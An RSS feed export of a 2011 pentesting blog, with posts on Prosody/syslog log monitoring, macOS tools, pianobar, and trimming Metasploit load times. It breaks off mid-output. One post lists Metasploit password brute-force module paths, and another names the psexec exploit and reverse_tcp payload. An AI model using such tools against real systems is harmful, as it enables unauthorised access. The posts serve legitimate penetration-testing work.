<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	xmlns:georss="http://www.georss.org/georss" xmlns:geo="http://www.w3.org/2003/01/geo/wgs84_pos#" xmlns:media="http://search.yahoo.com/mrss/"
	>

<channel>
	<title>0x0e.org &#124; pentesting perspective</title>
	<atom:link href="http://hexesec.wordpress.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://hexesec.wordpress.com</link>
	<description>braindump on pentesting, QA, metasploit, constant learning</description>
	<lastBuildDate>Sat, 17 Dec 2011 15:10:07 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.com/</generator>
<cloud domain='hexesec.wordpress.com' port='80' path='/?rsscloud=notify' registerProcedure='' protocol='http-post' />
<image>
		<url>http://s2.wp.com/i/buttonw-com.png</url>
		<title>0x0e.org &#124; pentesting perspective</title>
		<link>http://hexesec.wordpress.com</link>
	</image>
	<atom:link rel="search" type="application/opensearchdescription+xml" href="http://hexesec.wordpress.com/osd.xml" title="0x0e.org &#124; pentesting perspective" />
	<atom:link rel='hub' href='http://hexesec.wordpress.com/?pushpress=hub'/>
		<item>
		<title>Pentestify.</title>
		<link>http://hexesec.wordpress.com/2011/06/22/pentestify/</link>
		<comments>http://hexesec.wordpress.com/2011/06/22/pentestify/#comments</comments>
		<pubDate>Wed, 22 Jun 2011 03:23:20 +0000</pubDate>
		<dc:creator>jcran</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[moving pentestify blog]]></category>

		<guid isPermaLink="false">http://blog.0x0e.org/?p=443</guid>
		<description><![CDATA[i&#8217;m over here now.<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=hexesec.wordpress.com&amp;blog=4149787&amp;post=443&amp;subd=hexesec&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>i&#8217;m over <a href="http://blog.pentestify.com">here</a> now.</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/hexesec.wordpress.com/443/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/hexesec.wordpress.com/443/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/hexesec.wordpress.com/443/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/hexesec.wordpress.com/443/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/hexesec.wordpress.com/443/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/hexesec.wordpress.com/443/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/hexesec.wordpress.com/443/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/hexesec.wordpress.com/443/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/hexesec.wordpress.com/443/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/hexesec.wordpress.com/443/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/hexesec.wordpress.com/443/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/hexesec.wordpress.com/443/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/hexesec.wordpress.com/443/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/hexesec.wordpress.com/443/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=hexesec.wordpress.com&amp;blog=4149787&amp;post=443&amp;subd=hexesec&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://hexesec.wordpress.com/2011/06/22/pentestify/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/a7ddf41647a2dd583835558cdf11b280?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">jcran</media:title>
		</media:content>
	</item>
		<item>
		<title>password hangover</title>
		<link>http://hexesec.wordpress.com/2011/06/10/hangover/</link>
		<comments>http://hexesec.wordpress.com/2011/06/10/hangover/#comments</comments>
		<pubDate>Fri, 10 Jun 2011 18:30:30 +0000</pubDate>
		<dc:creator>jcran</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://blog.0x0e.org/?p=445</guid>
		<description><![CDATA[Just saw the Hangover 2. &#8211; funny (and true) bit on passwords&#8230; as an international drug dealer tranfers money between accounts: &#8220;your password is bologna1?&#8221; &#8220;it used to be bologna, but they make you include a stupid number now&#8221; *facepalm* sadly (&#8230; or happily, depending on your perspective  :] ) , weak passwords are still [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=hexesec.wordpress.com&amp;blog=4149787&amp;post=445&amp;subd=hexesec&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>Just saw the <strong>Hangover 2.</strong> &#8211; funny (and true) bit on passwords&#8230;</p>
<p>as an international drug dealer tranfers money between accounts:</p>
<blockquote><p>&#8220;your password is bologna1?&#8221;</p>
<p>&#8220;it used to be bologna, but they make you include a stupid number now&#8221;</p></blockquote>
<p>*facepalm*</p>
<p>sadly (&#8230; or happily, depending on your perspective  :] ) , weak passwords are still common&#8230;. metasploit has some awesome modules to test passwords:</p>
<p>jcran@disko:~/framework/modules$ find . |grep _login | grep -v svn</p>
<ul>
<li>./auxiliary/scanner/snmp/snmp_login.rb</li>
<li>./auxiliary/scanner/mssql/mssql_login.rb</li>
<li>./auxiliary/scanner/postgres/postgres_login.rb</li>
<li>./auxiliary/scanner/http/wordpress_login_enum.rb</li>
<li>./auxiliary/scanner/http/axis_login.rb</li>
<li>./auxiliary/scanner/http/tomcat_mgr_login.rb</li>
<li>./auxiliary/scanner/http/http_login.rb</li>
<li>./auxiliary/scanner/http/frontpage_login.rb</li>
<li>./auxiliary/scanner/ftp/ftp_login.rb</li>
<li>./auxiliary/scanner/vnc/vnc_login.rb</li>
<li>./auxiliary/scanner/ssh/ssh_login_pubkey.rb</li>
<li>./auxiliary/scanner/ssh/ssh_login.rb</li>
<li>./auxiliary/scanner/telnet/telnet_login.rb</li>
<li>./auxiliary/scanner/sap/sap_mgmt_con_brute_login.rb</li>
<li>./auxiliary/scanner/lotus/lotus_domino_login.rb</li>
<li>./auxiliary/scanner/mysql/mysql_login.rb</li>
<li>./auxiliary/scanner/rservices/rsh_login.rb</li>
<li>./auxiliary/scanner/rservices/rlogin_login.rb</li>
<li>./auxiliary/scanner/rservices/rexec_login.rb</li>
<li>./auxiliary/scanner/smb/smb_login.rb</li>
<li>./auxiliary/scanner/oracle/isqlplus_login.rb</li>
<li>./auxiliary/scanner/oracle/oracle_login.rb</li>
<li>./auxiliary/fuzzers/tds/tds_login_username.rb</li>
<li>./auxiliary/fuzzers/tds/tds_login_corrupt.rb</li>
<li>./auxiliary/fuzzers/smb/smb_ntlm1_login_corrupt.rb</li>
<li>./auxiliary/admin/oracle/oracle_login.rb</li>
<li>./exploits/windows/imap/mailenable_login.rb</li>
<li>./exploits/windows/imap/mercury_login.rb</li>
<li>./exploits/windows/http/hp_power_manager_login.rb</li>
</ul>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/hexesec.wordpress.com/445/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/hexesec.wordpress.com/445/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/hexesec.wordpress.com/445/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/hexesec.wordpress.com/445/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/hexesec.wordpress.com/445/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/hexesec.wordpress.com/445/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/hexesec.wordpress.com/445/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/hexesec.wordpress.com/445/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/hexesec.wordpress.com/445/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/hexesec.wordpress.com/445/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/hexesec.wordpress.com/445/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/hexesec.wordpress.com/445/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/hexesec.wordpress.com/445/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/hexesec.wordpress.com/445/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=hexesec.wordpress.com&amp;blog=4149787&amp;post=445&amp;subd=hexesec&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://hexesec.wordpress.com/2011/06/10/hangover/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/a7ddf41647a2dd583835558cdf11b280?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">jcran</media:title>
		</media:content>
	</item>
		<item>
		<title>throwaway osx post (until i need it again)</title>
		<link>http://hexesec.wordpress.com/2011/04/16/throwaway-osx-post-until-i-need-it-again/</link>
		<comments>http://hexesec.wordpress.com/2011/04/16/throwaway-osx-post-until-i-need-it-again/#comments</comments>
		<pubDate>Sat, 16 Apr 2011 23:51:17 +0000</pubDate>
		<dc:creator>jcran</dc:creator>
				<category><![CDATA[howto]]></category>
		<category><![CDATA[osx]]></category>

		<guid isPermaLink="false">https://hexesec.wordpress.com/2011/04/16/throwaway-osx-post-until-i-need-it-again/</guid>
		<description><![CDATA[use homebrew (instead of ports) for installing software. grab the rdio and soundcloud apps. trying bind an applescript to a key? use fastscripts (for open-terminal-here functionality). pay for TextMate (it&#8217;s worth it). set up rvm. blog using ecto. reaper, ableton, tweetdeck, etc.<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=hexesec.wordpress.com&amp;blog=4149787&amp;post=435&amp;subd=hexesec&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>use <a href="http://mxcl.github.com/homebrew/" title="homebrew">homebrew</a> (instead of ports) for installing software.</p>
<p>grab the <a href="http://www.rdio.com/" title="rdio">rdio</a> and <a href="http://www.soundcloud.com" title="x">soundcloud</a> apps.</p>
<p>trying bind an applescript to a key? use <a href="http://www.red-sweater.com/fastscripts/" title="FastScripts">fastscripts</a> (for open-terminal-here functionality).</p>
<p>pay for <a href="http://macromates.com/" title="TextMate">TextMate</a> (it&#8217;s worth it).</p>
<p>set up <a href="https://rvm.beginrescueend.com/" title="rvm">rvm</a>.</p>
<p>blog using <a href="http://illuminex.com/ecto/" title="ecto">ecto</a>.</p>
<p>reaper, ableton, tweetdeck, etc.</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/hexesec.wordpress.com/435/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/hexesec.wordpress.com/435/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/hexesec.wordpress.com/435/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/hexesec.wordpress.com/435/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/hexesec.wordpress.com/435/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/hexesec.wordpress.com/435/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/hexesec.wordpress.com/435/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/hexesec.wordpress.com/435/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/hexesec.wordpress.com/435/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/hexesec.wordpress.com/435/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/hexesec.wordpress.com/435/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/hexesec.wordpress.com/435/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/hexesec.wordpress.com/435/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/hexesec.wordpress.com/435/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=hexesec.wordpress.com&amp;blog=4149787&amp;post=435&amp;subd=hexesec&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://hexesec.wordpress.com/2011/04/16/throwaway-osx-post-until-i-need-it-again/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/a7ddf41647a2dd583835558cdf11b280?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">jcran</media:title>
		</media:content>
	</item>
		<item>
		<title>System Event Monitoring with Prosody and jablog.rb</title>
		<link>http://hexesec.wordpress.com/2011/03/22/390/</link>
		<comments>http://hexesec.wordpress.com/2011/03/22/390/#comments</comments>
		<pubDate>Tue, 22 Mar 2011 03:27:10 +0000</pubDate>
		<dc:creator>jcran</dc:creator>
				<category><![CDATA[defense]]></category>
		<category><![CDATA[howto]]></category>
		<category><![CDATA[monitoring]]></category>
		<category><![CDATA[utility]]></category>

		<guid isPermaLink="false">http://blog.0x0e.org/?p=390</guid>
		<description><![CDATA[The tl;dr version of this post is:
- apt-get install prosody (Tested on ubuntu 10.04.2 LTS)
- configure a VirtualHost for your domain in the config file /etc/prosody/ (see: http://www.0x0e.org/x/prosody.ctl.lua)
- set up srv records, (use this generator: http://www.jms1.net/jabberd2/srv.shtml)
- create 2 accounts - prosodyctl adduser gawd@domain &#38;&#38; prosodyctl addusser minion@domain (one for you, one for your bot/minion)
- gem install xmpp4r, add a sigs.txt and run the script<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=hexesec.wordpress.com&amp;blog=4149787&amp;post=390&amp;subd=hexesec&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>The tl;dr version of this post is:</p>
<p>It turns out to be super handy to be able to monitor your logs (and send commands) via XMPP. To do so, here is a simple setup.</p>
<ul>
<li> apt-get install prosody (Tested on ubuntu 10.04.2 LTS)</li>
<li> configure a VirtualHost for your domain in the config file /etc/prosody/ (see: http://www.0x0e.org/x/prosody.ctl.lua)</li>
<li>set up srv records, (use this generator: http://www.jms1.net/jabberd2/srv.shtml)</li>
<li>create 2 accounts &#8211; prosodyctl adduser user@domain &amp;&amp; prosodyctl addusser minion@domain (one for you, one for your bot/minion)</li>
</ul>
<ul>
<li>install ruby / gem install xmpp4r, add a sigs.txt and configure the script with jabber/ syslog-ng</li>
</ul>
<ul>
<li>configure syslog-ng (and make it report to the jablog.rb script)</li>
</ul>
<p>&#8230; And the backstory / howto:</p>
<p>Just got done setting up an internal jabber server on my domain. Why you might ask? You&#8217;re not that popular that you need your own chat server are you? Definitely not. But there&#8217;s a lot of crap going on in a network, even a small one, for you to benefit from on-demand notifications. An internal jabber server is a great way to implement this.</p>
<p>To be fair, the idea and the code for the log monitoring daemon is blatently stolen. I discovered it when attempting to connect to a friend&#8217;s server, and he immediately pinged me to ask what i was doing (for the record, not malicious, just remote-mounting a drive. :p). Paraphrasing:</p>
<p><strong>Me</strong>: &#8220;How did you see me doing that?&#8221; <em>(Thinking he was tail -f&#8217;ing his logs)</em><br />
<strong>Him</strong>: &#8220;Oh I monitor logs &amp; route certain events through XMPP&#8221;<br />
<strong>Me</strong>: &#8220;Neat!&#8221;<em> </em><br />
<strong>Him</strong>: &#8220;Check it out &#8211;&gt;<a href="http://digitaloffense.net/tools/jablog.rb"> jablog.rb</a> &#8220;</p>
<p>Okay, well, now i need a jabber server.</p>
<p>So, naturally, if you&#8217;re like me, you take the first google link and run w/ it.</p>
<p><pre class="brush: plain;">
$sudo apt-get install jabberd
</pre></p>
<p>Fail, and fail hard. Jabberd, the original Jabber implementation, is a pain to set up.</p>
<p>Okay, let&#8217;s scrap that and try again.</p>
<p>Ejabberd. &#8220;Oh neat, Erlang!&#8221; you might say. &#8212; Wrong again. I wasn&#8217;t able to get this set up an configured in any sort of easy way. :/ Possibly due to leftover cruft from jabberd. Here&#8217;s the <a href="http://intertwingly.net/blog/2007/08/08/Personal-Jabber-Server">link</a> just for the record.</p>
<p>&#8230;more searching, and came across this server called <a href="http://prosody.im/">Prosody</a>. Hmm, this looks really trivial, and it&#8217;s in apt already. Exactly what I&#8217;m looking for.</p>
<p><pre class="brush: plain;">
$ apt-cache search prosody
prosody - Lightweight Jabber/XMPP server written in Lua
[code]

[code]
$ apt-get install prosody
...
 * Starting Prosody XMPP Server prosody [ OK ]
</pre></p>
<p>Now, just configure w/ a host (toss these lines to the top of the config file /etc/prosody/prosody.cfg.lua) &#8211; or see the<a href="http://www.0x0e.org/x/prosody.cfg.lua"> full config</a>.</p>
<p><pre class="brush: plain;">
Host &quot;0x0e.local&quot;
	enabled = &quot;true&quot;
</pre></p>
<p>See the full config here:</p>
<p>And set up your srv records in bind for your host named jabber and domain named 0x0e.local (or use this <a href="http://www.jms1.net/jabberd2/srv.shtml">awesome generator</a>):</p>
<p><pre class="brush: plain;">
_jabber._tcp.0x0e.local.       IN SRV   0 0 5269   jabber.
_xmpp-server._tcp.0x0e.local.  IN SRV   0 0 5269   jabber.
_xmpp-client._tcp.0x0e.local.  IN SRV   0 0 5222   jabber.
</pre></p>
<p>Then add a couple users / passwords and you&#8217;re all set:</p>
<p><pre class="brush: plain;">
 $prosodyctl adduser jcran@0x0e.local
 $prosodyctl adduser jablog@0x0e.local
</pre></p>
<p>More info on account control <a href="http://prosody.im/doc/creating_accounts">here</a>. Other, more specialized config info can be found <a href="http://prosody.im/doc/configure">here</a>.</p>
<p>Getting the script going is as installing ruby (you probably already have it) and the xmpp4r gem (you probably don&#8217;t)</p>
<p><pre class="brush: plain;">
$sudo apt-get install ruby ## consider using RVM, but this is system-wide for syslog
$sudo gem install xmpp4r
</pre></p>
<p>Add a sigs.txt file with a few lines you&#8217;d like to be notified of<em> (wouldn&#8217;t you want to be notified if  &#8220;oh noes!&#8221; is printed in the logs?)</em>:</p>
<p><pre class="brush: plain;">
error
failed
segfault
oh noes!
</pre></p>
<p>Then modify a few lines of <a href="http://digitaloffense.net/tools/jablog.rb">the script</a> to point to the right accounts:</p>
<p><pre class="brush: plain;">
@host = `hostname`.strip
@mine = &quot;jablog@0x0e.local/#{@host}&quot;    # Change this to your user/pass/server
@pass = &quot;SECRETZ&quot;                    # Set a password here
@targ = &quot;jcran@0x0e.local/jcran&quot;     # Change this to your jabber ID
</pre></p>
<p>Now just configure your IM client to talk XMPP to the server (just point it at the domain, the client should read the SRV records &amp; do the right thing):</p>
<div id="attachment_393" class="wp-caption alignright" style="width: 216px"><a href="http://hexesec.files.wordpress.com/2011/03/x.png"><img class="size-medium wp-image-393" title="x" src="http://hexesec.files.wordpress.com/2011/03/x.png?w=206&#038;h=300" alt="pidgin config" width="206" height="300" /></a><p class="wp-caption-text">Configuration in Pidgin</p></div>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>To complete the setup, you&#8217;ll want to install syslog-ng and place the jablog.rb script &amp; sigs in /usr/sbin/:</p>
<p><pre class="brush: plain;">
# apt-get install syslog-ng
# cp jablog /usr/sbin
# cp sigs.txt /usr/sbin
</pre></p>
<p>Test this by running the script as root:</p>
<p><pre class="brush: plain;">
# ruby jablog.rb
</pre></p>
<p>You should see the script initialize in your im client if everything&#8217;s configured properly.</p>
<p>Now, you just need to configure syslog-ng to run the script:</p>
<p><pre class="brush: plain;">
destination jabber {
program(&quot;/usr/sbin/jablog.rb&quot;);
};

log {     source(s_all);
destination(jabber);
};
</pre></p>
<p>One thing you may run into is that syslog-ng may exit immediately, and keep attempting to run the jablog.rb file. If this happens, double-check your ruby config (make sure the syslog-ng user has access to the ruby environ (ie, not in your user&#8217;s rvm environment).</p>
<p>Once it&#8217;s configured properly, restart syslog-ng and you should see the script initialize in your IM client.</p>
<p>Note that I didn&#8217;t specify how to configure SSL here, but you can definitely do that. See<a href="http://prosody.im/doc/configure"> the docs. </a>Special thanks to <a href="http://n0where.org">quine</a> who pointed out you don&#8217;t need to specify a connect server, the SRV records take care of that.</p>
<p>Take the recipe / script, rinse and repeat on all your servers, and let me know if you make any improvements.</p>
<p>Also, if you end up running the jabber server on one network, and need access to it from another, dnsmasq is super handy. See<a href="http://www.danplanet.com/home/75-miscellaneous/108-jabbercom-dns-record-issues"> this blog.</a></p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/hexesec.wordpress.com/390/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/hexesec.wordpress.com/390/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/hexesec.wordpress.com/390/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/hexesec.wordpress.com/390/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/hexesec.wordpress.com/390/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/hexesec.wordpress.com/390/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/hexesec.wordpress.com/390/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/hexesec.wordpress.com/390/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/hexesec.wordpress.com/390/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/hexesec.wordpress.com/390/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/hexesec.wordpress.com/390/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/hexesec.wordpress.com/390/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/hexesec.wordpress.com/390/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/hexesec.wordpress.com/390/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=hexesec.wordpress.com&amp;blog=4149787&amp;post=390&amp;subd=hexesec&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://hexesec.wordpress.com/2011/03/22/390/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/a7ddf41647a2dd583835558cdf11b280?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">jcran</media:title>
		</media:content>

		<media:content url="http://hexesec.files.wordpress.com/2011/03/x.png?w=206" medium="image">
			<media:title type="html">x</media:title>
		</media:content>
	</item>
		<item>
		<title>pianobar is epic!</title>
		<link>http://hexesec.wordpress.com/2010/11/13/pianobar-is-epic/</link>
		<comments>http://hexesec.wordpress.com/2010/11/13/pianobar-is-epic/#comments</comments>
		<pubDate>Sat, 13 Nov 2010 19:05:34 +0000</pubDate>
		<dc:creator>jcran</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[epic]]></category>
		<category><![CDATA[music]]></category>
		<category><![CDATA[pianobar]]></category>
		<category><![CDATA[ubuntu]]></category>

		<guid isPermaLink="false">http://blog.0x0e.org/?p=380</guid>
		<description><![CDATA[@mrbarrett just pointed me at pianobar, a command-line client for pandora. It gets rid of the need for flash player, and allows you to bypass some of the limitations of the web client (you can skip more than 5 songs!). To install (on Ubuntu): enjoy!<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=hexesec.wordpress.com&amp;blog=4149787&amp;post=380&amp;subd=hexesec&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>@<a href="http://twitter.com/mrbarrett">mrbarrett</a> just pointed me at <a href="https://github.com/PromyLOPh/pianobar">pianobar</a>, a command-line client for pandora. It gets rid of the need for flash player, and allows you to bypass some of the limitations of the web client (you can skip more than 5 songs!).</p>
<p>To install (on Ubuntu):</p>
<p><pre class="brush: plain;">

sudo apt-get install git-core libao-dev libfaad-dev libmad0-dev
git clone git://github.com/PromyLOPh/pianobar.git
cd pianobar
make
sudo make install

</pre></p>
<p>enjoy!</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/hexesec.wordpress.com/380/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/hexesec.wordpress.com/380/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/hexesec.wordpress.com/380/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/hexesec.wordpress.com/380/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/hexesec.wordpress.com/380/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/hexesec.wordpress.com/380/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/hexesec.wordpress.com/380/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/hexesec.wordpress.com/380/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/hexesec.wordpress.com/380/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/hexesec.wordpress.com/380/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/hexesec.wordpress.com/380/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/hexesec.wordpress.com/380/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/hexesec.wordpress.com/380/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/hexesec.wordpress.com/380/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=hexesec.wordpress.com&amp;blog=4149787&amp;post=380&amp;subd=hexesec&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://hexesec.wordpress.com/2010/11/13/pianobar-is-epic/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/a7ddf41647a2dd583835558cdf11b280?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">jcran</media:title>
		</media:content>
	</item>
		<item>
		<title>Loading only the Metasploit modules you use</title>
		<link>http://hexesec.wordpress.com/2010/11/12/loading-only-the-metasploit-modules-you-use/</link>
		<comments>http://hexesec.wordpress.com/2010/11/12/loading-only-the-metasploit-modules-you-use/#comments</comments>
		<pubDate>Fri, 12 Nov 2010 16:16:09 +0000</pubDate>
		<dc:creator>jcran</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://blog.0x0e.org/?p=381</guid>
		<description><![CDATA[The framework is taking quite a while to load on my machine these days, so i decided to stop loading all modules by default, and load only those modules i need. Here&#8217;s the process: Simply comment the module-loading lines in the framework file lib/msf/base/simple/framework.rb, so : becomes Or you can apply this patch: http://www.0x0e.org/x/framework-no-default-mods.patch Alos make [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=hexesec.wordpress.com&amp;blog=4149787&amp;post=381&amp;subd=hexesec&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>The framework is taking quite a while to load on my machine these days, so i decided to stop loading all modules by default, and load only those modules i need. Here&#8217;s the process:</p>
<p>Simply comment the module-loading lines in the framework file lib/msf/base/simple/framework.rb, so :</p>
<p><pre class="brush: plain;">

if (Msf::Config.module_directory)

framework.modules.add_module_path(Msf::Config.module_directory)

end

</pre></p>
<p>becomes</p>
<p><pre class="brush: plain;">

#if (Msf::Config.module_directory)

#framework.modules.add_module_path(Msf::Config.module_directory)

#end

</pre></p>
<p>Or you can apply this patch: <span style="font-size:small;color:#909090;"><a href="http://www.0x0e.org/x/framework-no-default-mods.patch">http://www.0x0e.org/x/framework-no-default-mods.patch</a></span></p>
<p>Alos make sure to remove the ~/.msf3/modcache directory.</p>
<p>Then, mirroring the framework modules directory structure, copy the modules you&#8217;d like to load into your .msf3/modules directory. For example, if you wanted to load only the psexec module and the reverse_tcp payload, copy</p>
<ul>
<li> modules/exploits/windows/smb/psexec.rb into ~/.msf3/modules/exploits/windows/smb/psexec.rb</li>
<li>modules/payloads/stagers/windows/reverse_tcp.rb into ~/.msf3/modules/payloads/stagers/windows/reverse_tcp.rb</li>
</ul>
<p>You should now see a load-time speed improvement on the order of:</p>
<p>Before:</p>
<p><pre class="brush: plain;">
&lt;pre&gt;jcran@disko:~/framework$ time ./msfconsole -r exit.rc

                |                    |      _) |
 __ `__ \   _ \ __|  _` |  __| __ \  |  _ \  | __|
 |   |   |  __/ |   (   |\__ \ |   | | (   | | |
_|  _|  _|\___|\__|\__,_|____/ .__/ _|\___/ _|\__|
                              _|


       =[ metasploit v3.5.1-dev [core:3.5 api:1.0]
+ -- --=[ 630 exploits - 310 auxiliary
+ -- --=[ 215 payloads - 27 encoders - 8 nops
       =[ svn r10985 updated today (2010.11.11)

resource (exit.rc)&gt; exit
resource (exit.rc)&gt; exit

real	0m42.750s
user	0m40.710s
sys	0m0.820s&lt;/pre&gt;
</pre></p>
<p>After:</p>
<p><pre class="brush: plain;">
&lt;pre&gt;jcran@disko:~/framework$ time ./msfconsole -r exit.rc

                 o                       8         o   o
                 8                       8             8
